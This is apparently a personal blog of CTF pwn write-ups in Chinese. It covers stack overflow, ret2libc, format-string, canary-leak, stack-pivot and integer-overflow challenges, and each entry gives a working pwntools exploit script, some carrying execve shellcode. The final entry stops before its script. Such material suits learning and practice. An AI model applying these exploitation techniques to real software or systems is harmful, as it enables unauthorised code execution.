平时做题的一点记录,各个平台的都有,难度也是随机的,有些会详细写,有些会略过,慢慢更新(👴是懒狗
[TOC]
level0 简单栈溢出
from pwn import *io = remote('node4.buuoj.cn' ,25474 ) payload = b'a' *0x88 system = 0x0000000000400596 payload += p64(system) io.recvuntil("Hello, World\n" ) io.sendline(payload) io.interactive()
level1 根据泄漏的buf地址ret2shellcode
from pwn import *io = remote('node4.buuoj.cn' ,27234 ) io.recvuntil("What's this:" ) buf_addr = int (io.recv(10 ),16 ) sc = (asm(shellcraft.sh())) payload = sc + (0x88 -len (sc))*b'a' + b'bbbb' +p32(buf_addr) io.sendline(payload) io.interactive()
level2 开了NX保护,无法再写入shellcode,IDA可以看到调用system函数,我们可以进行ret2lib
from pwn import *io = remote('node4.buuoj.cn' ,28221 ) elf = ELF('./level2' ) system = elf.symbols['system' ] sh = 0x804a029 payload = b'a' *0x8C + p32(system) + p32(0xdeadbeef ) + p32(sh) io.sendline(payload) io.interactive()
level3 ret2lib的题型
首先vulnerable_function中read函数存在溢出,接着控制程序流程,构造函数调用栈
然后利用write泄漏出其地址,根据偏移算出lib_base
然后配合题目提供的 libc 文件计算 system() 函数的地址以及 /bin/sh 的地址
再利用read的栈溢出get shell
from elftools.construct.macros import UBInt32from pwn import *from six import uio = remote('pwn2.jarvisoj.com' ,9879 ) libc = ELF('./libc-2.19.so' ) elf = ELF('./level3' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] vul_addr = elf.symbols['vulnerable_function' ] payload0 = b'a' * (0x8C ) + p32(write_plt) + p32(vul_addr) + p32(0x1 ) + p32(write_got) + p32(0x4 ) io.recvuntil("Input:\n" ) io.sendline(payload0) write_addr = u32(io.recv(4 )) lib_base = write_addr - libc.symbols['write' ] system_addr = lib_base + libc.symbols['system' ] print (hex (system_addr))bin_sh = lib_base + next (libc.search(b'/bin/sh' )) payload = b'a' * 0x8C + p32(system_addr) + p32(0xdeadbeef ) + p32(bin_sh) io.recvuntil("Input:\n" ) io.sendline(payload) io.interactive()
这题若没给libc文件,我们也可以用DynELF来做
from pwn import *io = remote('pwn2.jarvisoj.com' ,9879 ) elf = ELF('./level4' ) write_plt = elf.symbols['write' ] write_got = elf.got['write' ] start = elf.symbols['_start' ] vul_addr = elf.symbols['vulnerable_function' ] read_plt = elf.symbols['read' ] bss_addr = elf.bss() def leak (address ): payload0 = b'a' * (0x8C ) + p32(write_plt) + p32(start) + p32(1 ) + p32(address) + p32(4 ) io.recvuntil("Input:\n" ) io.sendline(payload0) data = io.recv(4 ) return data d = DynELF(leak, elf=ELF('./level3' )) system_addr = d.lookup('system' ,'libc' ) payload1 = b'a' * 0x8C + p32(read_plt) + p32(vul_addr) + p32(0x0 ) + p32(bss_addr) + p32(0x8 ) io.sendline(payload1) io.send('/bin/sh\x00' ) payload2 = b'a' * 0x8C + p32(system_addr) + p32(0 ) + p32(bss_addr) io.sendline(payload2) io.interactive()
若python3环境报错的话,改dynelf.py文件的582行为这个
result = e.symbols[symb.decode()]
level4 其实level4就是没给lib的level3 那个跳转函数的位置最好写start,程序开始的位置,网上很多wp用的是vul那个函数,但是我这里一直打不通,用start就可以。
from pwn import *io = remote('pwn2.jarvisoj.com' ,9880 ) elf = ELF('./level4' ) write_plt = elf.symbols['write' ] write_got = elf.got['write' ] start = elf.symbols['_start' ] vul_addr = elf.symbols['vulnerable_function' ] read_plt = elf.symbols['read' ] bss_addr = elf.bss() def leak (address ): payload0 = b'a' * (0x8C ) + p32(write_plt) + p32(start) + p32(1 ) + p32(address) + p32(4 ) io.sendline(payload0) data = io.recv(4 ) return data d = DynELF(leak, elf=ELF('./level4' )) system_addr = d.lookup('system' ,'libc' ) payload1 = b'a' * 0x8C + p32(read_plt) + p32(vul_addr) + p32(0x0 ) + p32(bss_addr) + p32(0x8 ) io.sendline(payload1) io.send('/bin/sh\x00' ) payload2 = b'a' * 0x8C + p32(system_addr) + p32(0 ) + p32(bss_addr) io.sendline(payload2) io.interactive()
注意把recv(“input”)去掉就好了
jarvisoj_tell_me_something 在read函数处有明显的栈溢出,用gdb可以算出偏移是136,然后ida发现有个good_game函数,F5后发现里面会读出flag.txt,但是main函数中没有调用,所以我们利用栈溢出覆盖到good_game的地址
exp
from pwn import *context.log_level = 'debug' name = './guest' io = remote('node4.buuoj.cn' ,27744 ) elf = ELF('./guest' ) padding = b'a' * 0x88 good_game = elf.symbols['good_game' ] payload = padding + p64(good_game) io.recvuntil("Input your message:\n" ) io.sendline(payload) io.interactive()
Level2_x64 这题和之前的x86差不多,就是要改传参的方式
exp
from pwn import *io = remote('pwn2.jarvisoj.com' , 9882 ) elf = ELF('./level2_x64' ) system = elf.symbols['system' ] bin_sh = next (elf.search(b'/bin/sh' )) pop_rdi_ret = 0x00000000004006b3 payload = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(0xdeadbeef ) io.recvuntil('Input:\n' ) io.sendline(payload) io.interactive()
Level3_x64 这题思路也是与x86的相同,只是传参调用的方式变了,要设置寄存器以及从左到右传参
exp如下
from pwn import *io = remote('pwn2.jarvisoj.com' ,9883 ) elf = ELF('./level3_x64' ) lib = ELF('./libc-2.19.so' ) write_plt = elf.symbols['write' ] write_got = elf.got['write' ] start = elf.symbols['_start' ] pop_rdi_ret = 0x00000000004006b3 pop_rdi_r15_ret = 0x00000000004006b1 vul_addr = elf.symbols['vulnerable_function' ] payload = b'a' * 0x88 payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rdi_r15_ret) + p64(write_got) + p64(0xdeadbeef ) payload += p64(write_plt) + p64(start) io.recvuntil("Input:\n" ) io.sendline(payload) write_addr = u64(io.recv(8 )) lib_base = write_addr - lib.symbols['write' ] system = lib_base + lib.symbols['system' ] bin_sh = lib_base + next (lib.search(b'/bin/sh' )) payload2 = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.recvuntil("Input:\n" ) io.sendline(payload2) io.interactive()
xdctf2015_pwn200 ret2libc题型,无libc.so,利用DynELF
exp
from pwn import *name = './bof' p = remote('node4.buuoj.cn' ,25758 ) elf = ELF(name) write_plt = elf.plt['write' ] start = elf.symbols['_start' ] read_plt = elf.plt['read' ] vul_addr = elf.symbols['vuln' ] bss = elf.bss() padding = b'a' * 112 def leak (address ): payload = flat([padding,write_plt,start,1 ,address,4 ]) p.recvuntil("~!\n" ) p.send(payload) data = p.recv(4 ) return data d = DynELF(leak, elf=ELF('./bof' )) system = d.lookup('system' , 'libc' ) payload1 = flat([padding, read_plt, vul_addr, 0 , bss, 8 ]) p.sendline(payload1) p.send('/bin/sh\x00' ) payload2 = flat([padding, system, 0xdeadbeef , bss]) p.sendline(payload2) p.interactive()
[BJDCTF 2020]babystack 如题baby,基础的ret2text
from pwn import *elf = ELF('ret2text' ) p=remote('1.14.71.254' ,28098 ) backdoor = elf.symbols['backdoor' ] p.sendline('100' ) payload = b'a' * 24 + p64(backdoor) p.sendline(payload) p.interactive()
[BJDCTF 2020]babyrop 这题思路没什么好说的,就是64位的无libc.so的ret2libc,利用LibcSearch做好传参顺序,我说说我遇到的几个点(大佬勿喷
最主要的是,我开始是用flat([ ])构造payload,一直没打通,折磨我好久。。。
还有就是LibcSearch会要你自己去选择几个libc.so,这个多打几次就好了
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' ,28054 ) context.log_level = 'debug' elf = ELF('./pwn' ) put_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start = elf.symbols['_start' ] padding = b'a' * 0x28 pop_rdi_ret = 0x0400733 payload1 = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(put_plt) + p64(start) io.sendafter('story!' ,payload1) io.recv() puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) lib_base = puts_addr - libc.dump('puts' ) print (hex (lib_base))system_addr = lib_base + libc.dump('system' ) print (hex (system_addr))bin_sh = lib_base + libc.dump('str_bin_sh' ) print (hex (bin_sh))payload2 = padding + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) io.sendafter("story!" ,payload2) io.interactive()
[BJDCTF 2020]babystack2.0 题目比1.0多了一个判断,比较nbytes
和10的大小,在比较时是signed int
,但是在read
输入时是unsigned int
利用符号溢出,输入负数-1绕过判断,进入name
进行栈溢出
from pwn import *io = remote('1.14.71.254' ,28031 ) backdoor = 0x0400726 payload = b'a' * 0x18 + p64(backdoor) io.sendlineafter('name:' ,'-1' ) io.sendlineafter('name?' ,payload) io.interactive()
[BJDCTF 2020]babyrouter 命令执行绕过
case 1 : puts ("Please input the ip address:" ); read(0 ,ip,16 ); strcat (command,ip); system(command); puts ("done!" ); break ;
构造
[Jarvis OJ]fm 格式化字符串漏洞,刚学到这一块,看得有点迷糊,做做题理解下
这题逻辑挺简单,x初始化为3,当修改x=4时就可以读出flag,所以我们就要利用format string将x对应内存地址处的值改为4
然后偏移的话,利用pwngdb的插件fmtarg算出是11
printf (x_address+"%c$n" )可以修改[x_address]的值为x_address的字符长度 这里很巧的一点就是p32(x_addr)的长度刚好是4 个字节
exp
from pwn import *io = remote('pwn2.jarvisoj.com' ,9895 ) x_addr = 0x0804A02C payload = p32(x_addr) + b"%11$n" io.sendline(payload) io.interactive()
inndy_echo 同样是format string
导入IDA中可以看到
do { fgets(&s, 256 , stdin ); printf (&s); } while ( strcmp (&s, "exit\n" ) ); system("echo Goodbye" );
在printf处可以利用,先在gdb中算出偏移是7,然后我们看到有system函数,我们就可以利用GOT hiJack将printf@got
的内容改写成system@plt
的地址,再写入/bin/sh\x00
执行
from pwn import *elf = ELF('echo' ) io = remote('node4.buuoj.cn' ,26569 ) printf_got = elf.got['printf' ] system_plt = elf.plt['system' ] payload = fmtstr_payload(7 ,{printf_got:system_plt}) io.sendline(payload) io.send('/bin/sh\x00' ) io.interactive()
[NSS新生赛]whitegive_pwn 64位的无libc的rop,泄漏出puts
的地址,利用LibSearch算出基地址,得到system和bin/sh
的地址,传参执行就好了
exp
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' ,28035 ) elf = ELF('./bgei' ) pop_rdi_ret = 0x0000000000400763 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] payload1 = b'a' * 24 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendline(payload1) puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload2 = b'a' * 24 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendline(payload2) io.interactive()
[BJDCTF 2020]babyrop2 这题主要考点就是格式化字符串leak出canary,然后利用ROP和LibSearch找到libc,最后getshell
用IDA打开主要看vuln和gift函数,首先看gift
char format; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("I'll give u some gift to help u!" ); __isoc99_scanf("%6s" , &format); printf (&format); puts (byte_400A05); fflush(0LL ); return __readfsqword(40u ) ^ v2;
可以看到最大输入6个字符,我们尝试输入
I'll give u some gift to help u! % 6$p 0x7f0070243625 Pull up your sword and tell me u story!
发现printf是存在格式化字符串漏洞的,我们在gdb中测试偏移
可以看到,我们输入的泄漏偏移是6,说明格式化字符串的偏移是6,而下面也就是canary的值(以00结尾),在IDA中也可以看到canry在RSP+8的位置,所以泄漏canary的偏移为7,这里其实找后面检查时的canary也🉑️,偏移就是11
这里遇到的几个点
在打exp的时候,会发现有时候recv接收的问题,这个还得多看看语法和具体题目分析,不然打不通
python的一些类型转换的问题会报错,多试试网上的各种写法
开始用main来泄漏发现一直不通,后来改vuln函数就可以。。我觉得是因为栈溢出是发生在vuln中,而main的话是调用,可能打的时候出了些问题
exp
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' ,28083 ) context.log_level = 'debug' elf = ELF('./bjd_rop2' ) payload = b"%7$p" io.sendlineafter('u!' ,payload) io.recv() canary = io.recvuntil('\n' )[:-1 ] pop_rdi_ret = 0x0000000000400993 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] vuln = elf.symbols['vuln' ] payload2 = b'a' * (0x20 - 0x8 ) + p64(int (canary.decode(),16 )) + b'a' * 0x8 payload2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln) io.recvuntil('Pull up your sword and tell me u story!' ) io.sendline(payload2) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) log.info(hex (puts_addr)) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload3 = b'a' * (0x20 - 0x8 ) + p64(int (canary.decode(),16 )) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter("story!" ,payload3) io.interactive()
smashes – stack smash 主要参考
hollk师傅的分析
原理如下
核心就是利用栈溢出覆盖__libc_argv[0]
为我们想要泄漏的信息的地址
exp,主要跟着文章去分析
from pwn import *io = remote('pwn.jarvisoj.com' ,9877 ) padding = 0x7fffffffe418 - 0x7fffffffe200 payload = b'a' * padding + p64(0x400d20 ) io.sendafter('name?' , payload) io.interactive()
[CISCN 2019华北]PWN1 64位的只开了nx保护,导入ida中分析,可以看到只要v2变量值为11.28125就能cat /flag
,并且在gets输入v1中存在栈溢出,在IDA中看到只要覆盖(0x30 - 0x4)
就可以盖到v2
这里我们传输的时候要把11.28125转换成16进制0x41348000
exp
from pwn import *io = remote('1.14.71.254' , 28093 ) cat_flag = 0x41348000 payload = b'a' * (0x30 - 0x4 ) + p64(cat_flag) io.sendlineafter("Let's guess the number." , payload) io.interactive()
[2021 鹤城杯]babyof 在IDA中看到buf处存在栈溢出,熟悉的ret2libc
这里要注意最后打payload的时候要加个ret对齐,不然打不通
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' , 28081 ) elf = ELF('./babyof' ) pop_rdi_ret = 0x0000000000400743 ret = 0x0000000000400506 put_plt = elf.plt['puts' ] put_got = elf.got['puts' ] main = 0x000000000040066B payload1 = b'a' * 0x40 + b'a' * 8 + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(main) io.recvuntil("Do you know how to do buffer overflow?" ) io.sendline(payload1) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) log.info(hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload2 = b'a' * 0x40 + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter("Do you know how to do buffer overflow?" , payload2) io.interactive()
[2021 鹤城杯]littleof 这一题就是上一题的升级版,开启了canary保护,不过我们观察IDA分析可以发现,第一次printf
输出可以leak出canary的值,有了canary就可以ret2libc
exp
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' , 28031 ) elf = ELF('./littleof' ) put_plt = elf.plt['puts' ] put_got = elf.got['puts' ] pop_rdi_ret = 0x0000000000400863 ret = 0x000000000040059e main = 0x0000000000400789 payload = b'a' * (0x50 - 0x8 ) io.recvuntil("Do you know how to do buffer overflow?" ) io.sendline(payload) io.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n" ) canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) print ("canary:" ,hex (canary))payload1 = b'a' * (0x50 - 0x8 ) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(main) io.sendlineafter("Try harder!" , payload1) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * (0x50 - 0x8 ) io.recvuntil("Do you know how to do buffer overflow?" ) io.sendline(payload) io.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n" ) canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) payload2 = b'a' * (0x50 - 0x8 ) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter("Try harder!" , payload2) io.interactive()
[2021 鹤城杯]easyecho 经典的stack smash题目,保护全开。。。导入IDA中观察
这个循环只要输入backdoor就能绕过,但是我们无法找到flag的地址,这就要利用到上面Name
处leak出栈上的地址,在v8处,读入16个a
同时我们观察到程序pie基址
所以我们就能得到flag的位置计算flag = pie_base + offset
继续观察IDA,跟进read_flag函数可以发现
可以将flag输出到bss段打印出来,接下来就是找我们的padding
观察栈变量,看到v8和v10差了0x20
因为有gets,我们在v10处栈溢出,通过stack smash输出flag
于是padding = 0x7fffffffe418 - 0x7fffffffe2b0
exp
from pwn import *io = remote('1.14.71.254' ,28013 ) io.sendafter("Name:" , b'a' *16 ) io.recvuntil("Welcome aaaaaaaaaaaaaaaa" ) leak_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) pie_base = leak_addr - 0xcf0 open_flag = pie_base + 0x0000000000202040 io.recvuntil("Input: " ) io.sendline("backdoor" ) argv0 = 0x7fffffffe418 v10 = 0x7fffffffe2b0 padding1 = b'a' * (argv0 - v10) payload = padding1 + p64(open_flag) io.sendlineafter("Input: " , payload) io.recvuntil("Input: " ) io.sendline("exitexit" ) io.interactive()
[CISCN 2019东北]PWN2 只开了NX保护,导入IDA中分析
只有在encrpt
函数里有利用点,开了NX,没有canary,没有可以利用的函数,自然的ret2libc攻击
exp
from pwn import *from LibcSearcher import *io = remote('1.14.71.254' , 28096 ) elf = ELF('./ciscn_2019db_pwn2' ) context.log_level = 'debug' puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start = elf.symbols['_start' ] pop_rdi_ret = 0x0000000000400c83 ret = 0x00000000004006b9 io.sendlineafter("choice!\n" , '1' ) padding = b'a' * 0x50 + b'b' * 0x8 payload = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start) io.sendlineafter("encrypted\n" , payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) log.info(hex (puts_addr)) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) io.sendlineafter("choice!\n" , '1' ) payload1 = padding + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) io.sendlineafter("encrypted\n" , payload1) io.interactive()
这题里面那个循环加密好像也不用绕过,我直接打也能通
[深育杯 2021]find_flag 保护全开,格式化字符串leak出canary和程序基址
可以算出偏移是6,这样我们再找出canary和pie
有了地址,用vmmap查看基地址算出偏移是0x1140
IDA中可以发现正好有一个漏洞函数,直接利用即可
exp
from pwn import *io = remote('1.14.71.254' ,28056 ) context.log_level = 'debug' fmt = b"aa%17$pbb%16$p" io.recvuntil("name?" ) io.sendline(fmt) io.recvuntil("aa" ) canary = int (io.recv(18 ), 16 ) log.info(hex (canary)) io.recvuntil("bb" ) addr_base = int (io.recv(14 ), 16 ) - 0x1140 log.info(hex (addr_base)) sub_1228 = 0x1228 flag = addr_base + sub_1228 payload = b'a' * (0x40 - 0x8 ) + p64(canary) + b'b' * 0x8 + p64(flag) io.sendlineafter("else? " , payload) io.interactive()
NSS平台上环境有点问题,远程和本地不一样,所以leak pie那里是%16$p,haruki师傅教我直接%p*20数出来🌶️
CGfsb format string
exp
from pwn import *io = remote('111.200.241.244' , 60496 ) pwnme = 0x0804A068 offset = 10 io.sendlineafter('please tell me your name:' , b'kkkk' ) payload = fmtstr_payload(offset, {pwnme:0x8 }) io.sendlineafter('leave your message please:' , payload) io.interactive()
greeting exp
from pwn import *elf = ELF('./greeting' ) io = remote('111.200.241.244' , 50819 ) fini_arr = 0x08049934 main = 0x080485ED strlen_got = 0x08049A54 system_plt = 0x08048490 payload = b'k' * 2 payload += p32(strlen_got+2 ) payload += p32(fini_arr+2 ) payload += p32(strlen_got) payload += p32(fini_arr) pad_len = len ("Nice to meet you, " ) payload += b"%" + str (0x0804 - 0x24 ) + "c%12$hn%13$hn" payload += b"%" + str (0x8490 - 0x0804 ) + "c%14$hn" payload += b"%" + str (0x85ED - 0x8490 ) + "c%15$hn" io.sendlineafter("Please tell me your name... " , payload) io.recvuntil("Please tell me your name... " ) io.sendline('/bin/sh\x00' ) io.interactive()
实时数据监测 可以直接覆盖,也可以双字节覆盖
exp
from pwn import *io = remote('111.200.241.244' , 54060 ) context.log_level = 'debug' key_bss = 0x0804A048 offset = 12 payload = p32(key_bss+2 ) + p32(key_bss) payload += "%" + str (0x0222 - 8 ) + "c%12$hn" payload += "%" + str (0x3322 - 0x0222 ) + "c%13$hn" io.sendline(payload) io.interactive()
[CISCN 2019西南]PWN1 exp
from pwn import *io = remote('1.14.71.254' , 28030 ) elf = ELF('./ciscn_2019_sw_pwn1' ) main = 0x08048534 fini_addr = 0x0804979C printf_got = elf.got['printf' ] system_plt = 0x080483d0 payload = p32(printf_got + 2 ) + p32(fini_addr + 2 ) + p32(printf_got) + p32(fini_addr) payload += "%" + str (0x0804 - 16 ) + "c%4$hn%5$hn" payload += "%" + str (0x83d0 - 0x0804 ) + "c%6$hn" payload += "%" + str (0x8534 - 0x83d0 ) + "c%7$hn" io.sendlineafter('name?' , payload) io.recvuntil("name?" ) io.sendline('/bin/sh\x00' ) io.interactive()
[Black Watch 入群题]PWN 经典的栈迁移
exp
from pwn import *io = remote('node4.buuoj.cn' , 28396 ) elf = ELF('./spwn' ) libc = ELF('./libc-2.23_32.so' ) context.log_level = 'debug' write_plt = elf.plt['write' ] write_got = elf.got['write' ] main = elf.sym['main' ] s = 0x0804A300 leave_ret = 0x08048408 io.recvuntil('name?' ) payload0 = p32(write_plt) + p32(main) + p32(1 ) + p32(write_got) + p32(4 ) io.sendline(payload0) io.recvuntil('say?' ) payload1 = b'a' * 0x18 + p32(s - 4 ) + p32(leave_ret) io.send(payload1) write_addr = u32(io.recv(4 )) log.info(hex (write_addr)) libc_base = write_addr - libc.symbols['write' ] system = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) io.recvuntil('name?' ) payload2 = p32(system) + p32(0 ) + p32(bin_sh) io.sendline(payload2) io.recvuntil('say?' ) io.sendline(payload1) io.interactive()
[CISCN 2019东南]PWN2 exp
那两个ebp的偏移计算
https://blog.csdn.net/Y_peak/article/details/113823280
测试exp
from pwn import *io = process('./ciscn_2019_es_pwn2' ) system = 0x08048400 leave_ret = 0x080484b8 payload = b'a' * 0x27 + b'k' io.recvuntil('name?\n' ) io.send(payload) io.recvuntil('k' ) ebp_addr = u32(io.recv(4 )) log.info(hex (ebp_addr)) payload1 = (b'bkdr' + p32(system) + p32(0xdeadbeef ) + b'shdr' + b'/bin/sh\x00' ).ljust(0x28 , b'\x00' ) raw_input('debug:' ) io.sendline(payload1) io.interactive()
from pwn import *io = remote('1.14.71.254' , 28096 ) system = 0x08048400 leave_ret = 0x080484b8 payload = b'a' * 0x27 + b'k' io.recvuntil('name?\n' ) io.send(payload) io.recvuntil('k' ) ebp_addr = u32(io.recv(4 )) log.info(hex (ebp_addr)) payload1 = (b'k' * 4 + p32(system) + p32(0xdeadbeef ) + p32(ebp_addr - 0x28 ) + b"/bin/sh\x00" ).ljust(0x28 , b'\x00' ) payload1 += p32(ebp_addr-0x38 ) + p32(leave_ret) io.sendline(payload1) io.interactive()
这题函数蛮多,但是也就主要分析那几个
首先看主函数,输入的被解密后放在v6,v6的长度不能超过0xc ,也就是我们payload最大长度是12
漏洞点在auth
函数这里,看到memcpy,在v4处就有4个字节的溢出,可以覆盖到auth
函数ebp处的内容,而ebp处存的就是之前main
函数的ebp,而这里我们就可以修改为我们想要利用的地址,进而main
退出时执行leave,mov esp,ebp
,esp的值就指向我们利用的地址,劫持了程序执行流程
可以参考这位师傅的文章图解
https://blog.csdn.net/weixin_43868725/article/details/108366539?ops_request_misc=%7B%22request_id%22%3A%22164229926316780265467309%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=164229926316780265467309&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-108366539.first_rank_v2_pc_rank_v29&utm_term=format2&spm=1018.2226.3001.4187
exp
from pwn import *import base64io = remote('111.200.241.244' , 57858 ) bin_sh = 0x08049284 input = 0x0811EB40 payload = base64.b64encode(b'a' * 4 + p32(bin_sh) + p32(input )) io.recvuntil('Authenticate : ' ) io.sendline(payload) io.interactive()
[mssctf2021]signin 西电举办的中学生CTF竞赛
放一下复现地址https://ctf.xidian.edu.cn/challenges
这题主要考栈溢出+整数溢出,可以看到v6是一个unsigned int8
范围是0-255
,就可以根据这个绕过if判断,然后通过main
的read
读入及strcpy
覆盖signin
的v5返回到后门函数的地址
exp
from pwn import *io = remote('pwn.archive.xdsec.chall.frankli.site' ,10006 ) system_addr = 0x080492B6 payload = b'ZXFxaWUmY29yMWU=' + b'a' * (0x89 + 4 - 16 ) + p32(system_addr) + b'b' * 140 io.sendline(payload) io.interactive()
[mssctf2021]shellcode 因为有个call rdi
所以IDA无法进行反汇编,需要嗯看汇编
就是往buf里读入0x3c个字节,再将buf载到rax里,再给buf的指针加0xa个字节,放到rdi里,再call rdi
,因为没有开NX保护,所以我们先填入0xa个长度的padding,再往buf里写入shellcode就可以
exp
from pwn import *context.arch = 'amd64' p = remote('pwn.archive.xdsec.chall.frankli.site' ,10022 ) shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" payload = b'a' *10 + shellcode p.sendline(payload) p.interactive()
int_overflow 攻防世界的一道整数溢出的练习题
漏洞点就在这个check_passwd
函数里的一个变量存储方面
这里的v3是unsigned int8
类型,就相当于一个无符号char
型范围在0-255
,而ta接受的是一个size_t
类型(unsigned int)
的数据,从而造成无符号数的回绕
exp
from pwn import *io = remote('111.200.241.244' ,49854 ) flag = 0x0804868B io.sendlineafter('choice:' , str (1 )) io.sendlineafter('username:' , b'kkkk' ) payload = b'a' * 0x14 + b'b' * 0x4 + p32(flag) + 232 * b'a' io.sendlineafter('passwd:' , payload) io.interactive()
wustctf2020_number_game 也是一道整数溢出的题目
程序很简单,就一个取负数判断,绕过判断就直接getshell
v1是一个32位的int
类型变量,范围在-2147483648~-2147483647
,所以我们输入一个小与-2147483648的数就可以了
exp
from pwn import *io = remote('node4.buuoj.cn' ,26318 ) payload = str (-2147483649 ) io.sendline(payload) io.interactive()
string 程序很长,看故事,但是并不复杂,需要点耐心去分析,考点还是格式化字符串漏洞
这个函数里明显看到漏洞点
再看到这个函数可以发现getshell的点
只要将传入的指针变量a1的值,修改为和*(a+1)
相同的值,再执行shellcode
顺便注意下,算偏移要注意是32位还是64位,两种传参不一样,最好用gdb算
exp
from pwn import *context.arch = 'amd64' io = remote('111.200.241.244' , 52695 ) io.recvuntil('secret[0] is ' ) key = int (io.recvuntil('\n' ), 16 ) log.info(hex (key)) io.sendlineafter('What should your character\'s name be:' , b'lnk' ) io.sendlineafter('So, where you will go?east or up?:' , b'east' ) io.sendlineafter('go into there(1), or leave(0)?:' , str (1 )) io.sendlineafter("'Give me an address'" , str (key)) payload = b"%85c%7$n" io.sendlineafter('And, you wish is:' , payload) shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" io.sendlineafter('Wizard: I will help you! USE YOU SPELL\n' , shellcode) io.interactive()
[mssctf2021 Finals]SignIn 签到题吧,跟着提示去注册登录拿flag,考pwntools的交互使用
exp
from pwn import *io = remote('pwn.archive.xdsec.chall.frankli.site' , 10093 ) io.sendlineafter('Your choice:' , b'1' ) io.sendlineafter('Please input your UserName:' , b'lnk' ) io.recvuntil('Here\'s your key: \n' ) key = io.recvline() log.info(f"key is: {key} " ) io.sendlineafter('Your choice:' , b'2' ) io.sendlineafter('User name:' , b'lnk' ) io.sendlineafter('Password:' , key) io.sendlineafter('Your choice:' , b'3' ) io.recvuntil('Here\'s your key: ' ) flag = io.recvline() io.sendlineafter('Tell me your key:' , flag) io.interactive()
[mssctf2021 Finals]shellcode 和初赛差不多一样的题,注意shellcode的长度,不能超过30
exp
from pwn import *context.arch = 'amd64' p = process('./shellcode' ) shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" print (len (shellcode))payload = shellcode p.recvuntil('Tell me what to do:\n' ) p.sendline(payload) p.interactive()
gyctf_2020_borrowstack 一道栈迁移的题,且bss段和got的地址相距较近,需要利用ret抬高栈帧,不然执行ROP的时候会修改got表中的值,导致泄漏的地址不对。
exp
